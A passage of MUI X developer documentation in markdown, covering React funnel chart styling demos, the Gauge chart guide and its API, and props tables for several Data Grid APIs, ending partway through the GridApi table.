    />
  );
}

```

### Gap

The gap between the sections can be customized by the `gap` property.
It accepts a number that represents the gap in pixels.

```tsx
import Box from '@mui/material/Box';
import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';

export default function FunnelGap() {
  return (
    <Box sx={{ width: '100%', maxWidth: 400 }}>
      <FunnelChart
        series={[
          {
            data: [{ value: 200 }, { value: 180 }, { value: 90 }, { value: 50 }],
          },
        ]}
        height={300}
        gap={10}
      />
    </Box>
  );
}

```

### Border radius

The border radius of the sections can be customized by the `borderRadius` property.
It accepts a number that represents the radius in pixels.

- The `bump` curve interpolation will not respect the border radius.
- The `linear`, `linear-sharp` and `pyramid` curves respect the border radius to some extent due to the angle of the sections.
- The `step` and `step-pyramid` curves respect the border radius.

To understand how the border radius interacts with the `curve` prop, see the [curve interpolation example](/x/react-charts/funnel/#curve-interpolation) above.

The `borderRadius` property will also behave differently depending on whether the `gap` property is greater than 0.

- If the `gap` is 0, the border radius will be applied to the corners of the sections that are not connected to another section.
- If the `gap` is greater than 0, the border radius will be applied to all the corners of the sections.

```tsx
import Box from '@mui/material/Box';
import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';

export default function FunnelBorderRadius() {
  return (
    <Box sx={{ width: '100%', maxWidth: 400 }}>
      <FunnelChart
        series={[
          {
            data: [{ value: 200 }, { value: 180 }, { value: 90 }, { value: 50 }],
            borderRadius: 10,
          },
        ]}
        height={300}
      />
      <FunnelChart
        series={[
          {
            data: [{ value: 200 }, { value: 180 }, { value: 90 }, { value: 50 }],
            borderRadius: 10,
          },
        ]}
        height={300}
        gap={10}
      />
    </Box>
  );
}

```

### Variant

The funnel sections can be displayed in two different styles using the `variant` property:

- `'filled'` (default): Sections have a solid fill and no stroke.
- `'outlined'`: Sections have a translucent fill with a colored stroke around them.

The `outlined` variant creates a more lightweight visual style.

```tsx
import Box from '@mui/material/Box';
import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';

export default function FunnelVariant() {
  const data = [
    { value: 200, label: 'Leads' },
    { value: 150, label: 'Calls' },
    { value: 90, label: 'Meetings' },
    { value: 40, label: 'Deals' },
  ];

  return (
    <Box sx={{ width: '100%', maxWidth: 400 }}>
      <FunnelChart
        series={[
          {
            data,
            variant: 'outlined',
          },
        ]}
        height={300}
      />
    </Box>
  );
}

```

### Colors

The funnel colors can be customized in two ways.

1. You can provide a [color palette](/x/react-charts/styling/#color-palette). Each section of the funnel will be colored according to this palette.
2. You can provide a `color` property in `data` objects, which overrides the palette.

```tsx
import Box from '@mui/material/Box';
import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';

export default function FunnelColor() {
  return (
    <Box sx={{ width: '100%', maxWidth: 400 }}>
      <FunnelChart
        colors={['hotpink', 'red']} // Use custom colors
        series={[
          {
            data: [
              { value: 20 }, // Get color from the palette
              { value: 10, color: 'slateblue' }, // Override palette color (red)
              { value: 5 },
            ],
          },
        ]}
        height={300}
      />
    </Box>
  );
}

```

### CSS

The funnel chart can be styled using CSS.

Each section group has a `data-series` attribute that can be used to target specific series sections.

In order to target specific sections, you can use the `:nth-child` or `:nth-child-of-type` selectors as shown in the example below.

```tsx
import Box from '@mui/material/Box';
import { FunnelChart, funnelSectionClasses } from '@mui/x-charts-pro/FunnelChart';

export default function FunnelDataAttributes() {
  return (
    <Box sx={{ width: '100%', maxWidth: 400 }}>
      <FunnelChart
        {...funnelProps}
        sx={{
          [`[data-series="main"] .${funnelSectionClasses.root}:nth-of-type(1)`]: {
            fill: 'url(#pattern)',
          },
        }}
      >
        <defs>
          <pattern id="pattern" width="50" height="50" patternUnits="userSpaceOnUse">
            <rect width="100%" height="100%" fill="hotpink" />
            <circle fill="slateblue" cx="15" cy="15" r="10" />
            <circle fill="slateblue" cx="40" cy="40" r="10" />
          </pattern>
        </defs>
      </FunnelChart>
    </Box>
  );
}

const funnelProps = {
  height: 300,
  hideLegend: true,
  series: [
    {
      id: 'main',
      data: [{ value: 200 }, { value: 180 }, { value: 90 }, { value: 50 }],
    },
  ],
} as const;

```

## Multiple funnels

By default, multiple series are displayed on top of each other.

Simply provide multiple series to the funnel chart and make sure that they have different colors or styles to differentiate them.

The order of the series determines the display order.
The first series is at the bottom and the last is at the top.

```tsx
import Box from '@mui/material/Box';
import { FunnelChart, FunnelChartProps } from '@mui/x-charts-pro/FunnelChart';

export default function FunnelStacked() {
  return (
    <Box sx={{ width: '100%', maxWidth: 500 }}>
      <FunnelChart
        sx={{ '.MuiFunnelSection-series-big': { filter: 'brightness(0.7)' } }}
        series={[
          {
            id: 'big',
            data: dataBig,
            sectionLabel: {
              position: { horizontal: 'end' },
              textAnchor: 'start',
              offset: { x: 10 },
            },
          },
          { data: dataSmall, curve: 'bump' },
        ]}
        height={300}
      />
    </Box>
  );
}

const dataBig: FunnelChartProps['series'][any]['data'] = [
  { value: 500, label: 'A1' },
  { value: 280, label: 'B1' },
  { value: 190, label: 'C1' },
  { value: 70, label: 'D1' },
];

const dataSmall: FunnelChartProps['series'][any]['data'] = [
  { value: 200, label: 'A2' },
  { value: 180, label: 'B2' },
  { value: 90, label: 'C2' },
  { value: 50, label: 'D2' },
];

```

## Highlight

The hovered element can be highlighted by setting `highlightScope.highlight` property to one of the possible values.

To fade elements which are not hovered, set the `highlightScope.fade` property.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import TextField from '@mui/material/TextField';
import MenuItem from '@mui/material/MenuItem';
import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';
import { FadeOptions, HighlightOptions } from '@mui/x-charts/context';
import { populationByEducationLevelPercentageSeriesLabeled } from './populationByEducationLevel';

export default function HighlightFunnel() {
  const [highlight, setHighlight] = React.useState<HighlightOptions>('item');
  const [fade, setFade] = React.useState<FadeOptions>('global');

  return (
    <Stack spacing={1} sx={{ width: '100%' }}>
      <Stack spacing={1} direction={{ xs: 'column', sm: 'row' }}>
        <FunnelChart
          series={[
            {
              ...populationByEducationLevelPercentageSeriesLabeled,
              highlightScope: {
                highlight,
                fade,
              },
            },
          ]}
          {...funnelChartParams}
        />
        <FunnelChart
          series={[
            {
              ...populationByEducationLevelPercentageSeriesLabeled,
              variant: 'outlined',
              highlightScope: {
                highlight,
                fade,
              },
            },
          ]}
          {...funnelChartParams}
        />
      </Stack>

      <Controls
        highlight={highlight}
        setHighlight={setHighlight}
        fade={fade}
        setFade={setFade}
      />
    </Stack>
  );
}

const funnelChartParams = {
  height: 300,
  hideLegend: true,
};

function Controls({
  highlight,
  setHighlight,
  fade,
  setFade,
}: {
  highlight: string;
  setHighlight: React.Dispatch<React.SetStateAction<HighlightOptions>>;
  fade: string;
  setFade: React.Dispatch<React.SetStateAction<FadeOptions>>;
}) {
  return (
    <Stack
      direction={{ xs: 'row', xl: 'column' }}
      spacing={3}
      justifyContent="center"
      flexWrap="wrap"
      useFlexGap
    >
      <TextField
        select
        label="highlight"
        value={highlight}
        onChange={(event) => setHighlight(event.target.value as HighlightOptions)}
        sx={{ minWidth: 150 }}
      >
        <MenuItem value={'none'}>none</MenuItem>
        <MenuItem value={'item'}>item</MenuItem>
        <MenuItem value={'series'}>series</MenuItem>
      </TextField>
      <TextField
        select
        label="fade"
        value={fade}
        onChange={(event) => setFade(event.target.value as FadeOptions)}
        sx={{ minWidth: 150 }}
      >
        <MenuItem value={'none'}>none</MenuItem>
        <MenuItem value={'series'}>series</MenuItem>
        <MenuItem value={'global'}>global</MenuItem>
      </TextField>
    </Stack>
  );
}

```

## Category axis

The funnel chart uses a category axis as the default axis.
This axis always follows the orientation of the chart.

The funnel chart does not display an axis by default.
To display a category axis, pass a `position` and a list of `categories` to the `categoryAxis` props.

```tsx
import Box from '@mui/material/Box';
import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';
import { populationByEducationLevelPercentageSeriesLabeled } from './populationByEducationLevel';

export default function FunnelCategoryAxis() {
  return (
    <Box sx={{ width: '100%', maxWidth: 400 }}>
      <FunnelChart
        series={[populationByEducationLevelPercentageSeriesLabeled]}
        categoryAxis={{
          categories: ['First', 'Second', 'Third', 'Fourth', 'Fifth'],
          position: 'left',
          disableLine: true,
          disableTicks: true,
          size: 60,
        }}
        {...funnelProps}
      />
    </Box>
  );
}

const funnelProps = {
  height: 300,
  hideLegend: true,
} as const;

```

### Scaled sections

By default, the sections have the same size because they use the `band` scale type.
A linear scale is also available, and scales the sections based on their values.
To do so, set the `scaleType` property to `linear` in the `categoryAxis`.

```tsx
import Box from '@mui/material/Box';
import { FunnelChart } from '@mui/x-charts-pro/FunnelChart';
import { populationByEducationLevelPercentageSeriesLabeled } from './populationByEducationLevel';

export default function FunnelLinearScale() {
  return (
    <Box sx={{ width: '100%', maxWidth: 400 }}>
      <FunnelChart
        series={[populationByEducationLevelPercentageSeriesLabeled]}
        categoryAxis={{ scaleType: 'linear' }}
        {...funnelProps}
      />
    </Box>
  );
}

const funnelProps = {
  height: 300,
  hideLegend: true,
} as const;

```

---

# Source: https://mui.com/x/api/charts/gauge-container.md

# GaugeContainer API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Gauge](/x/react-charts/gauge/)

## Import

```jsx
import { GaugeContainer } from '@mui/x-charts/Gauge';
// or
import { GaugeContainer } from '@mui/x-charts';
// or
import { GaugeContainer } from '@mui/x-charts-pro';
// or
import { GaugeContainer } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| cornerRadius | `number \| string` | `0` | No |  |
| cx | `number \| string` | - | No |  |
| cy | `number \| string` | - | No |  |
| endAngle | `number` | `360` | No |  |
| height | `number` | - | No |  |
| id | `string` | - | No |  |
| innerRadius | `number \| string` | `'80%'` | No |  |
| margin | `number \| { bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |
| outerRadius | `number \| string` | `'100%'` | No |  |
| skipAnimation | `bool` | - | No |  |
| startAngle | `number` | `0` | No |  |
| value | `number` | - | No |  |
| valueMax | `number` | `100` | No |  |
| valueMin | `number` | `0` | No |  |
| width | `number` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/Gauge/GaugeContainer.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/Gauge/GaugeContainer.tsx)

---

# Source: https://mui.com/x/api/charts/gauge.md

# Source: https://mui.com/x/react-charts/gauge.md

---
title: React Gauge chart
productId: x-charts
components: Gauge, GaugeContainer
packageName: '@mui/x-charts'
githubLabel: 'scope: charts'
waiAria: https://www.w3.org/WAI/ARIA/apg/patterns/meter/
---

# Charts - Gauge

Gauge let the user evaluate metrics.

{{"component": "@mui/docs/ComponentLinkHeader", "design": false}}

## Basics

The Gauge displays a numeric value that varies within a defined range.

```tsx
import Stack from '@mui/material/Stack';
import { Gauge } from '@mui/x-charts/Gauge';

export default function BasicGauges() {
  return (
    <Stack direction={{ xs: 'column', md: 'row' }} spacing={{ xs: 1, md: 3 }}>
      <Gauge width={100} height={100} value={60} />
      <Gauge width={100} height={100} value={60} startAngle={-90} endAngle={90} />
    </Stack>
  );
}

```

## Value range

The Gauge's value is provided through the `value` props, which accept a value range between 0 and 100.
To modify it, use the `valueMin` and `valueMax` props.

```tsx
import Stack from '@mui/material/Stack';
import { Gauge } from '@mui/x-charts/Gauge';

export default function GaugeValueRange() {
  return (
    <Stack direction={{ xs: 'column', md: 'row' }} spacing={{ xs: 1, md: 3 }}>
      <Gauge width={100} height={100} value={50} />
      <Gauge width={100} height={100} value={50} valueMin={10} valueMax={60} />
    </Stack>
  );
}

```

## Arcs configuration

Modify the arc shape with the following props:

- `startAngle` and `endAngle`: The angle range provided in degrees
- `innerRadius` and `outerRadius`: The arc's radii. It can be a fixed number of pixels or a percentage string, which will be a percent of the maximal available radius
- `cornerRadius`: It can be a fixed number of pixels or a percentage string, which will be a percent of the maximal available radius

```tsx
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';
import Box from '@mui/material/Box';
import { Gauge, gaugeClasses } from '@mui/x-charts/Gauge';

export default function ArcPlayground() {
  return (
    <ChartsUsageDemo
      componentName="Gauge"
      data={{
        value: {
          knob: 'number',
          defaultValue: 75,
          step: 1,
          min: 0,
          max: 100,
        },
        startAngle: {
          knob: 'number',
          defaultValue: 0,
          step: 1,
          min: -360,
          max: 360,
        },
        endAngle: {
          knob: 'number',
          defaultValue: 360,
          step: 1,
          min: -360,
          max: 360,
        },
        innerRadius: {
          knob: 'number',
          defaultValue: 80,
          step: 1,
          min: 0,
          max: 100,
        },
        outerRadius: {
          knob: 'number',
          defaultValue: 100,
          step: 1,
          min: 0,
          max: 100,
        },
      }}
      renderDemo={(props) => (
        <Box
          sx={{
            width: '100%',
            height: 200,
            margin: 'auto',
          }}
        >
          <Gauge
            sx={{
              [`& .${gaugeClasses.valueText}`]: {
                fontSize: 45,
              },
            }}
            {...props}
            innerRadius={`${props.innerRadius}%`}
            outerRadius={`${props.outerRadius}%`}
          />
        </Box>
      )}
      getCode={({ props }) => {
        const { innerRadius, outerRadius, ...numberProps } = props;
        return `import { Gauge } from '@mui/x-charts/Gauge';

<Gauge
  ${Object.entries(numberProps)
    .map(([name, value]) => `${name}={${value}}`)
    .join('\n  ')}
  ${Object.entries({ innerRadius, outerRadius })
    .map(([name, value]) => `${name}="${value}%"`)
    .join('\n  ')}
  // ...
/>
`;
      }}
    />
  );
}

```

:::success
Notice that the arc position is computed to let the Gauge take as much space as possible in the drawing area.

Use the `cx` and/or `cy` props to fix the coordinate of the arc center.
:::

## Text configuration

By default, the Gauge displays the value in the center of the arc.
To modify it, use the `text` prop.

This prop can be a string, or a formatter.
In the second case, the formatter argument contains the `value`, `valueMin` and `valueMax`.

To modify the text's layout, use the `gaugeClasses.valueText` class name.

```tsx
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';
import Box from '@mui/material/Box';
import { Gauge, gaugeClasses } from '@mui/x-charts/Gauge';

export default function TextPlayground() {
  return (
    <ChartsUsageDemo
      componentName="Gauge"
      data={{
        value: {
          knob: 'number',
          defaultValue: 75,
          step: 1,
          min: 0,
          max: 100,
        },
        fontSize: {
          knob: 'number',
          defaultValue: 40,
          step: 1,
          min: 5,
          max: 50,
        },
        dx: {
          knob: 'number',
          defaultValue: 0,
          step: 1,
          min: -100,
          max: 100,
        },
        dy: {
          knob: 'number',
          defaultValue: 0,
          step: 1,
          min: -100,
          max: 100,
        },
      }}
      renderDemo={(props) => (
        <Box
          sx={{
            width: '100%',
            height: 200,
            margin: 'auto',
            mb: 4,
          }}
        >
          <Gauge
            startAngle={-110}
            endAngle={110}
            sx={{
              [`& .${gaugeClasses.valueText}`]: {
                fontSize: props.fontSize,
                transform: `translate(${props.dx}px, ${props.dy}px)`,
              },
            }}
            value={props.value}
            text={({ value, valueMax }) => `${value} / ${valueMax}`}
          />
        </Box>
      )}
      getCode={({
        props,
      }) => `import { Gauge, gaugeClasses } from '@mui/x-charts/Gauge';

<Gauge
  value={${props.value}}
  startAngle={-110}
  endAngle={110}
  sx={{
    [& .${gaugeClasses.valueText}]: {
      fontSize: ${props.fontSize},
      transform: 'translate(${props.dx}px, ${props.dy}px)',
    },
  }}
  text={({ value, valueMax }) => \`\${value} / \${valueMax}\`}
/>
`}
    />
  );
}

```

## Arc design

To customize the Gauge styles, use the `gaugeClasses` export to pull class names from different parts of the component, such as `valueText`, `valueArc`, and `referenceArc`.

For a full reference list, visit the [API page](/x/api/charts/gauge/#classes).

```tsx
import { Gauge, gaugeClasses } from '@mui/x-charts/Gauge';

const settings = {
  width: 200,
  height: 200,
  value: 60,
};

export default function ArcDesign() {
  return (
    <Gauge
      {...settings}
      cornerRadius="50%"
      sx={(theme) => ({
        [`& .${gaugeClasses.valueText}`]: {
          fontSize: 40,
        },
        [`& .${gaugeClasses.valueArc}`]: {
          fill: '#52b202',
        },
        [`& .${gaugeClasses.referenceArc}`]: {
          fill: theme.palette.text.disabled,
        },
      })}
    />
  );
}

```

## Adding elements

### Using the default Gauge

To insert more elements into the Gauge, the first option would be to add them as children, which means they will be stacked on top of the default rendering.

```tsx
import { Gauge } from '@mui/x-charts/Gauge';

<Gauge value={25} valueMax={50}>
  <AddedElement />
</Gauge>;
```

### Using the Gauge container

The second option is to make use of the following elements that are available within the Gauge module:

- Gauge Reference Arc
- Gauge Value Arc
- Gauge Value Text

```tsx
import {
  GaugeContainer,
  Gauge,
  GaugeReferenceArc,
  GaugeValueArc,
} from '@mui/x-charts/Gauge';

<GaugeContainer value={25} valueMax={50}>
  <GaugeReferenceArc />
  <GaugeValueArc />
  <AddedElement />
</GaugeContainer>;
```

### Creating your components

To create your own components, use the `useGaugeState()` hook which provides all you need about the gauge configuration:

- information about the value: `value`, `valueMin`, `valueMax`
- information to plot the arc: `startAngle`, `endAngle`, `outerRadius`, `innerRadius`, `cornerRadius`, `cx`, and `cy`
- computed values:
  - `maxRadius`: the maximal radius that can fit the drawing area
  - `valueAngle`: the angle associated with the current value

```tsx
import {
  GaugeContainer,
  GaugeValueArc,
  GaugeReferenceArc,
  useGaugeState,
} from '@mui/x-charts/Gauge';

function GaugePointer() {
  const { valueAngle, outerRadius, cx, cy } = useGaugeState();

  if (valueAngle === null) {
    // No value to display
    return null;
  }

  const target = {
    x: cx + outerRadius * Math.sin(valueAngle),
    y: cy - outerRadius * Math.cos(valueAngle),
  };
  return (
    <g>
      <circle cx={cx} cy={cy} r={5} fill="red" />
      <path
        d={`M ${cx} ${cy} L ${target.x} ${target.y}`}
        stroke="red"
        strokeWidth={3}
      />
    </g>
  );
}

export default function CompositionExample() {
  return (
    <GaugeContainer
      width={200}
      height={200}
      startAngle={-110}
      endAngle={110}
      value={30}
    >
      <GaugeReferenceArc />
      <GaugeValueArc />
      <GaugePointer />
    </GaugeContainer>
  );
}

```

## Accessibility

The MUI X Gauge is compliant with the [Meter ARIA pattern](https://www.w3.org/WAI/ARIA/apg/patterns/meter/), which includes the addition of the `meter` role to the parent container and correct usage of the `aria-valuenow`, `aria-valuemin`, and `aria-valuemax` attributes.

### Label

If a visible label is available, reference it by adding `aria-labelledby` attribute.
Otherwise, the label can be manually provided by `aria-label`.

### Presentation

Assistive technologies often present the value as a percentage.
This can be modified by providing `aria-valuetext` attribute.

For example, a battery level indicator is better with an hour-long duration.

```jsx
<h3 id="battery_level_label">
  Battery level
</h3>
<Gauge
  value={6}
  valueMax={12}
  aria-labelledby="battery_level_label"
  aria-valuetext="50% (6 hours) remaining"
/>
```

## Composition

Use the `<GaugeContainer />` to provide all the parameters as props: `value`, `valueMin`, `valueMax`, `startAngle`, `endAngle`, etc.

In addition to the common chart components available for [composition](/x/react-charts/composition/), you can use the following components:

- `<GaugeReferenceArc />` renders the reference arc.
- `<GaugeValueArc />` renders the value arc.
- `<GaugeValueText />` renders the text at the center.

Here's how the Gauge is composed:

```jsx
<GaugeContainer>
  <GaugeReferenceArc />
  <GaugeValueArc skipAnimation={skipAnimation} />
  <GaugeValueText text={text} />
</GaugeContainer>
```

---

# Source: https://mui.com/x/api/data-grid/grid-actions-col-def.md

# GridActionsColDef API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Special column properties](/x/react-data-grid/column-definition/#special-properties)

## Import

```jsx
import { GridActionsColDef } from '@mui/x-data-grid-premium'
// or
import { GridActionsColDef } from '@mui/x-data-grid-pro'
// or
import { GridActionsColDef } from '@mui/x-data-grid'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| field | `string` | - | Yes |  |
| getActions | `(params: GridRowParams<R>) => readonly React.ReactElement<GridActionsCellItemProps>[]` | - | Yes |  |
| type | `'actions'` | `'actions'` | Yes |  |
| aggregable | `boolean` | `true` | No |  |
| align | `GridAlignment` | - | No |  |
| availableAggregationFunctions | `string[]` | - | No |  |
| cellClassName | `GridCellClassNamePropType<R, V>` | - | No |  |
| chartable | `boolean` | `true` | No |  |
| colSpan | `number \| GridColSpanFn<R, V, F>` | `1` | No |  |
| description | `string` | - | No |  |
| disableColumnMenu | `boolean` | `false` | No |  |
| disableExport | `boolean` | `false` | No |  |
| disableReorder | `boolean` | `false` | No |  |
| display | `'text' \| 'flex'` | - | No |  |
| editable | `boolean` | `false` | No |  |
| examples | `V[]` | - | No |  |
| filterable | `boolean` | `true` | No |  |
| filterOperators | `readonly GridFilterOperator<R, V, F, any>[]` | - | No |  |
| flex | `number` | - | No |  |
| getApplyQuickFilterFn | `GetApplyQuickFilterFn<R, V>` | - | No |  |
| getSortComparator | `(sortDirection: GridSortDirection) => GridComparatorFn<V> \| undefined` | - | No |  |
| groupable | `boolean` | `true` | No |  |
| groupingValueGetter | `GridGroupingValueGetter<R>` | - | No |  |
| groupingValueSetter | `GridGroupingValueSetter<R>` | - | No |  |
| headerAlign | `GridAlignment` | - | No |  |
| headerClassName | `GridColumnHeaderClassNamePropType` | - | No |  |
| headerName | `string` | - | No |  |
| hideable | `boolean` | `true` | No |  |
| hideSortIcons | `boolean` | `false` | No |  |
| maxWidth | `number` | `Infinity` | No |  |
| minWidth | `number` | `50` | No |  |
| pastedValueParser | `GridPastedValueParser<R, V, F>` | - | No |  |
| pinnable | `boolean` | `true` | No |  |
| pivotable | `boolean` | `true` | No |  |
| preProcessEditCellProps | `(params: GridPreProcessEditCellProps) => GridEditCellProps \| Promise<GridEditCellProps>` | - | No |  |
| renderCell | `(params: GridRenderCellParams<R, V, F>) => React.ReactNode` | - | No |  |
| renderEditCell | `(params: GridRenderEditCellParams<R, V, F>) => React.ReactNode` | - | No |  |
| renderHeader | `(params: GridColumnHeaderParams<R, V, F>) => React.ReactNode` | - | No |  |
| renderHeaderFilter | `(params: GridRenderHeaderFilterProps) => React.ReactNode` | - | No |  |
| resizable | `boolean` | `true` | No |  |
| rowSpanValueGetter | `GridValueGetter<R, V, F>` | - | No |  |
| sortable | `boolean` | `true` | No |  |
| sortComparator | `GridComparatorFn<V>` | - | No |  |
| sortingOrder | `readonly GridSortDirection[]` | - | No |  |
| valueFormatter | `GridValueFormatter<R, V, F>` | - | No |  |
| valueGetter | `GridValueGetter<R, V, F>` | - | No |  |
| valueParser | `GridValueParser<R, V, F>` | - | No |  |
| valueSetter | `GridValueSetter<R, V, F>` | - | No |  |
| width | `number` | `100` | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-aggregation-function-data-source.md

# GridAggregationFunctionDataSource API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Server-side aggregation](/x/react-data-grid/server-side-data/aggregation/)

## Import

```jsx
import { GridAggregationFunctionDataSource } from '@mui/x-data-grid-premium'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| applySorting | `boolean` | `false` | No |  |
| columnTypes | `string[]` | - | No |  |
| hasCellUnit | `boolean` | `true` | No |  |
| label | `string` | `apiRef.current.getLocaleText('aggregationFunctionLabel{capitalize(name)})` | No |  |
| valueFormatter | `GridValueFormatter` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-aggregation-function.md

# GridAggregationFunction API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Aggregation functions](/x/react-data-grid/aggregation/#aggregation-functions)

## Import

```jsx
import { GridAggregationFunction } from '@mui/x-data-grid-premium'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| apply | `(params: GridAggregationParams<V>, api?: GridApiPremium) => AV \| null \| undefined` | - | Yes |  |
| applySorting | `boolean` | `false` | No |  |
| columnTypes | `string[]` | - | No |  |
| getCellValue | `(params: GridAggregationGetCellValueParams) => V` | - | No |  |
| hasCellUnit | `boolean` | `true` | No |  |
| label | `string` | `apiRef.current.getLocaleText('aggregationFunctionLabel{capitalize(name)})` | No |  |
| valueFormatter | `GridValueFormatter` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-api.md

# GridApi API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [API object](/x/react-data-grid/api-object/)

## Import

```jsx
import { GridApi } from '@mui/x-data-grid-premium'
// or
import { GridApi } from '@mui/x-data-grid-pro'
// or
import { GridApi } from '@mui/x-data-grid'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| addRowGroupingCriteria | `(groupingCriteriaField: string, groupingIndex?: number) => void` | - | Yes |  |
| aiAssistant | `{ /** * Calls the `onPrompt()` callback to evaluate the prompt and get the necessary updates to the grid state. * Adds the prompt to the current conversation. * Updates the grid state based on the prompt response. * @param {string} value The prompt to process * @returns {Promise<PromptResponse \| Error>} The grid state updates or a processing error */ processPrompt: (value: string) => Promise<PromptResponse \| Error> /** * Sets the conversations. * @param {Conversation[] \| ((prevConversations: Conversation[]) => Conversation[])} conversations The new conversations. */ setConversations: (conversations: Conversation[] \| ((prevConversations: Conversation[]) => Conversation[])) => void /** * Sets the active conversation index. * @param {number} index The index of the conversation that should become active. * @returns {Conversation} The active conversation. * @throws {Error} If the conversation index does not exist. */ setActiveConversationIndex: (index: number) => Conversation }` | - | Yes |  |
| applySorting | `() => void` | - | Yes |  |
| autosizeColumns | `(options?: GridAutosizeOptions) => Promise<void>` | - | Yes |  |
| collapseAllRows | `() => void` | - | Yes |  |
| dataSource | `{ /** * Fetches the rows from the server. * If no `parentId` option is provided, it fetches the root rows. * Any missing parameter from `params` will be filled from the state (sorting, filtering, etc.). * @param {GridRowId} parentId The id of the parent node (default: `GRID_ROOT_GROUP_ID`). * @param {GridDataSourceFetchRowsParams<GridGetRowsParams>} params Request parameters override. * @returns {Promise<void>} A promise that resolves when the rows are fetched. */ fetchRows: (parentId?: GridRowId, params?: GridDataSourceFetchRowsParams<GridGetRowsParams>) => Promise<void> /** * The data source cache object. */ cache: GridDataSourceCache /** * Syncs the row with the server and updates in the grid. * @param {GridUpdateRowParams} params The parameters for the edit operation. * @returns {Promise<GridRowModel> \| undefined} The updated row or `undefined` if `dataSource.updateRow` is not passed. */ editRow: (params: GridUpdateRowParams) => Promise<GridRowModel> \| undefined }` | - | Yes |  |
| deleteFilterItem | `(item: GridFilterItem) => void` | - | Yes |  |
| expandAllRows | `() => void` | - | Yes |  |
| exportDataAsCsv | `(options?: GridCsvExportOptions) => void` | - | Yes |  |
| exportDataAsExcel | `(options?: GridExcelExportOptions) => Promise<void>` | - | Yes |  |
| exportDataAsPrint | `(options?: GridPrintExportOptions) => void` | - | Yes |  |
| exportState | `(params?: GridExportStateParams) => InitialState` | - | Yes |  |
| getAllColumns | `() => GridStateColDef[]` | - | Yes |  |
| getAllGroupDetails | `() => GridColumnGroupLookup` | - | Yes |  |
| getAllRowIds | `() => GridRowId[]` | - | Yes |  |
| getCellElement | `(id: GridRowId, field: string) => HTMLDivElement \| null` | - | Yes |  |
| getCellMode | `(id: GridRowId, field: string) => GridCellMode` | - | Yes |  |
| getCellParams | `<R extends GridValidRowModel = any, V = unknown, F = V, N extends GridTreeNode = GridTreeNode>(id: GridRowId, field: string) => GridCellParams<R, V, F, N>` | - | Yes |  |
| getCellSelectionModel | `() => GridCellSelectionModel` | - | Yes |  |
| getCellValue | `<V = any>(id: GridRowId, field: string) => V` | - | Yes |  |
| getColumn | `(field: string) => GridStateColDef` | - | Yes |  |
| getColumnGroupPath | `(field: string) => GridColumnGroup['groupId'][]` | - | Yes |  |
| getColumnHeaderElement | `(field: string) => HTMLDivElement \| null` | - | Yes |  |
| getColumnHeaderParams | `(field: string) => GridColumnHeaderParams` | - | Yes |  |
| getColumnIndex | `(field: string, useVisibleColumns?: boolean) => number` | - | Yes |  |
| getColumnIndexRelativeToVisibleColumns | `(field: string) => number` | - | Yes |  |
| getColumnPosition | `(field: string) => number` | - | Yes |  |
| getDataAsCsv | `(options?: GridCsvExportOptions) => string` | - | Yes |  |
| getDataAsExcel | `(options?: GridExcelExportOptions) => Promise<Excel.Workbook> \| null` | - | Yes |  |
| getExpandedDetailPanels | `() => Set<GridRowId>` | - | Yes |  |
| getFilterState | `(filterModel: GridFilterModel) => GridStateCommunity['filter']` | - | Yes |  |
| getLocaleText | `<T extends GridTranslationKeys>(key: T) => GridLocaleText[T]` | - | Yes |  |
| getPinnedColumns | `() => GridPinnedColumnFields` | - | Yes |  |
| getPropagatedRowSelectionModel | `(inputSelectionModel: GridRowSelectionModel) => GridRowSelectionModel` | - | Yes |  |
| getRootDimensions | `() => GridDimensions` | - | Yes |  |
| getRow | `<R extends GridValidRowModel = any>(id: GridRowId) => R \| null` | - | Yes |  |
| getRowElement | `(id: GridRowId) => HTMLDivElement \| null` | - | Yes |  |
| getRowGroupChildren | `(params: GridRowGroupChildrenGetterParams) => GridRowId[]` | - | Yes |  |
| getRowId | `<R extends GridValidRowModel = any>(row: R) => GridRowId` | - | Yes |  |
| getRowIdFromRowIndex | `(index: number) => GridRowId` | - | Yes |  |
| getRowIndexRelativeToVisibleRows | `(id: GridRowId) => number` | - | Yes |  |
| getRowMode | `(id: GridRowId) => GridRowMode` | - | Yes |  |
| getRowModels | `() => Map<GridRowId, GridRowModel>` | - | Yes |  |
| getRowNode | `<N extends GridTreeNode>(id: GridRowId) => N \| null` | - | Yes |  |
| getRowParams | `(id: GridRowId) => GridRowParams` | - | Yes |  |
| getRowsCount | `() => number` | - | Yes |  |
| getRowWithUpdatedValues | `(id: GridRowId, field: string) => GridRowModel` | - | Yes |  |
| getScrollPosition | `() => GridScrollParams` | - | Yes |  |
| getSelectedCellsAsArray | `() => GridCellCoordinates[]` | - | Yes |  |
| getSelectedRows | `() => Map<GridRowId, GridRowModel>` | - | Yes |  |
| getSortedRowIds | `() => GridRowId[]` | - | Yes |  |
